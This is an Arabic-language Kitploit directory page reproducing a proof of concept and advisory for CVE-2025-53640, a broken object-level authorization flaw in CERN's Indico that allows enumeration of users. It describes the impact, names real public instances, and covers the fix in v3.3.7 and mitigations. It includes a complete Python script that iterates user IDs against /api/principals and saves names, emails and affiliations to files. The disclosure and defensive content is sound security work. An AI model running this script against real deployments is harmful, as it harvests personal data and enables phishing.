Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-53640 — يؤدي كسر التفويض على مستوى الكائنات (BOLA) في Indico التابع لـ CERN إلى تعداد المستخدمين المُصادَق عليهم. | Kitploit
أدوات/GitHubGitHub/rafaelcorvino1/cve-2025-53640
الاستخبارات مفتوحة المصدر (OSINT)تحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار أمان APIجمع المعلوماتاختبار الاختراق
GitHubrafaelcorvino1/cve-2025-53640

CVE-2025-53640

يؤدي كسر التفويض على مستوى الكائنات (BOLA) في Indico التابع لـ CERN إلى تعداد المستخدمين المُصادَق عليهم.

عرض المستودع
11منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-53640 – تعداد المستخدمين عبر مستخدم موثّق في Indico التابع لـ CERN (ثغرة BOLA)

2025-07-19_11-19

CVE Badge

PoC وتحليل تقني لـ CVE-2025-53640: ثغرة من نوع Broken Object Level Authorization (BOLA) في Indico تتيح تعداد المستخدمين الموثّقين عبر نقطة النهاية، مما يكشف الأسماء وعناوين البريد الإلكتروني والانتماءات. يتضمن سكربت الاستغلال وتحليل الطلبات ولقطات شاشة. تؤثر على نسخ Indico المنتشرة عالميًا (المنظمة الأوروبية للأبحاث النووية (CERN)، الأمم المتحدة (UN)، معهد ماساتشوستس للتكنولوجيا (MIT)، وكالة الفضاء الأوروبية (ESA)، وغيرها).

الوصف

ثغرة من نوع Broken Object Level Authorization (BOLA) في التطبيق مفتوح المصدر Indico تسمح بتعداد جماعي للمستخدمين عبر نقطة النهاية.

هذه النقطة، التي صُممت في الأساس لحل معرّفات المستخدمين في حقول نماذج محددة، يمكن إساءة استخدامها لاسترجاع التفاصيل الشخصية لأي معرّف مستخدم صالح:

  • الاسم الكامل

  • عنوان البريد الإلكتروني

  • اللقب

  • الانتماء

  • رابط الصورة الرمزية

تم الإبلاغ عن الثغرة وأقرّ بها القائمون على صيانة Indico، وهي متتبَّعة رسميًا باسم CVE-2025-53640

متطلبات الاستغلال

  • مطلوب جلسة مصادقة صالحة.

  • لكن معظم نسخ Indico العامة تسمح بالتسجيل الذاتي دون التحقق من البريد الإلكتروني أو CAPTCHA أو موافقة يدوية.

  • هذا يجعل الثغرة قابلة للاستغلال عمليًا من قبل مستخدمين غير مصادَق عليهم بعد إنشاء حساب بسيط.

التأثير العالمي

Indico هو نظام أساسي واسع الانتشار لإدارة الفعاليات والمؤتمرات، طوّره CERN (المنظمة الأوروبية للأبحاث النووية)، ويشغّل البنية التحتية الأكاديمية والمؤسسية عالميًا:

  • CERN (المنظمة الأوروبية للأبحاث النووية): أكثر من 900,000 فعالية سنويًا؛ أكثر من 200 قاعة محجوزة يوميًا.

  • عالميًا: حوالي 145,000 فعالية سنويًا عبر أكثر من 300 مؤسسة.

  • UN (الأمم المتحدة): أكثر من 180,000 مشارك سنويًا.

  • UNOG (مكتب الأمم المتحدة في جنيف): ما يصل إلى 700,000 مستخدم سنويًا.

  • تُستخدم على نطاق واسع من قبل الجامعات والمختبرات ومعاهد البحوث والوكالات الحكومية.

أمثلة على النسخ العامة المتأثرة:

  • https://indico.cern.ch

  • https://indico.esa.int

  • https://indico.mit.edu

ونظرًا لانتشارها الواسع في البيئات العلمية والأكاديمية والحكومية، تشكّل هذه الثغرة مخاطر جسيمة:

  • تسرّب هويات الباحثين والموظفين والمشرفين

  • انتهاكات خصوصية واسعة النطاق وكشف الأدلة المؤسسية

  • استطلاع موجّه لعمليات التصيد أو الهندسة الاجتماعية

  • احتمال المساس بمبادرات بحثية وسياساتية حساسة

التأثير

  • كشف البيانات الشخصية (PII)

  • تعداد المستخدمين ذوي الامتيازات العالية (المشرفون، المنظمون)

  • دعم عمليات التصيد الجماعي والتصيد الموجّه (spear-phishing)

  • مخالفة اللوائح مثل GDPR وLGPD والسياسات المؤسسية الداخلية

  • قد يشكّل خرقًا يستوجب الإبلاغ اعتمادًا على الاختصاص القضائي

التصحيح

تم إصلاح المشكلة في Indico v3.3.7.

وفقًا للقائمين على الصيانة، تم تعديل سلوك نقطة النهاية لمنع التفريغ الجماعي لبيانات المستخدمين (الاسم والانتماء والبريد الإلكتروني) عبر معرّفات يمكن تخمينها. كما تمت إضافة علامة إعداد جديدة ALLOW_PUBLIC_USER_SEARCH.

تشمل الإجراءات التخفيفية الإضافية:

  • تقييد فحوصات البريد الإلكتروني أثناء التسجيل

  • تعطيل حل روابط الأشخاص عند تعطيل البحث العام

  • إضافة تحذيرات في الواجهة للفعاليات التي لا تحتوي على قائمة تحكم بالوصول (ACL) عند تفعيل البحث المقيد

إثبات المفهوم (PoC)

الاستغلال

root@kitploit:~
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://indico.<URL>/api/principals"
headers = {
    "Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
    "Content-Type": "application/json",
    "X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}

def enumerate_users(max_errors=10):
    user_id = 1
    errors = 0
    results = []

    while errors < max_errors:
        payload = {"values": [f"User:{user_id}"]}
        response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)

        if response.status_code == 200:
            data = response.json()
            key = f"User:{user_id}"
            if key in data and not data[key].get("invalid", True):
                user = data[key]
                print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
                results.append({
                    "user_id": user_id,
                    "name": f"{user['first_name']} {user['last_name']}",
                    "email": user["email"],
                    "affiliation": user["affiliation"],
                    "title": user["title"],
                    "avatar_url": user["avatar_url"]
                })
                errors = 0
            else:
                print(f"[-] ID {user_id}: Invalid")
                errors += 1
        else:
            print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
            errors += 1
        user_id += 1

    with open("enumerated_users.json", "w", encoding="utf-8") as jf:
        json.dump(results, jf, indent=2, ensure_ascii=False)

    with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
        writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
        writer.writeheader()
        writer.writerows(results)

    print("Enumeration finished.")

if __name__ == "__main__":
    enumerate_users()
image image

نصائح التخفيف

  • تقييد الوصول إلى نقطة النهاية بناءً على الدور أو السياق

  • تعيين ALLOW_PUBLIC_USER_SEARCH = false في indico.conf

  • قصر حقول المستخدم المكشوفة على الضروري فقط

  • تعطيل أو تقييد التسجيل الذاتي (مثل التحقق من البريد الإلكتروني، موافقة المشرف)

  • تفعيل المراقبة وتحديد المعدل (rate-limiting) على نقطة النهاية

  • الترقية إلى Indico 3.3.7 أو أحدث فورًا

  • مراقبة سجلات الوصول بحثًا عن أنماط التعداد

CVE

المعرف الرسمي: CVE-2025-53640

الإفصاح

تم اكتشاف هذه الثغرة أثناء تقييم أمني أُجري ضمن برنامج Red Team Residency Program في RNP (Rede Nacional de Ensino e Pesquisa – البرازيل).

تم تنفيذ جميع البحوث والاختبارات بتفويض وإشراف مسبقين. شكر خاص لفريق RNP Security Team لتقديمهم التوجيه الأخلاقي والدعم التقني.

تؤكد هذه الـ CVE على أهمية فرض تحكم صارم في الوصول على مستوى الكائنات في المنصات التي تدير بيانات مؤسسية حساسة.

المراجع

  • استشارة أمان GitHub – GHSA-q28v-664f-q6wj

  • التزام Indico f858355

  • سجل NVD

  • سجل CVE.org

  • إعداد Indico: ALLOW_PUBLIC_USER_SEARCH

  • دليل ترقية Indico

  • ملاحظات الإصدار – v3.3.7

تنزيل الأداة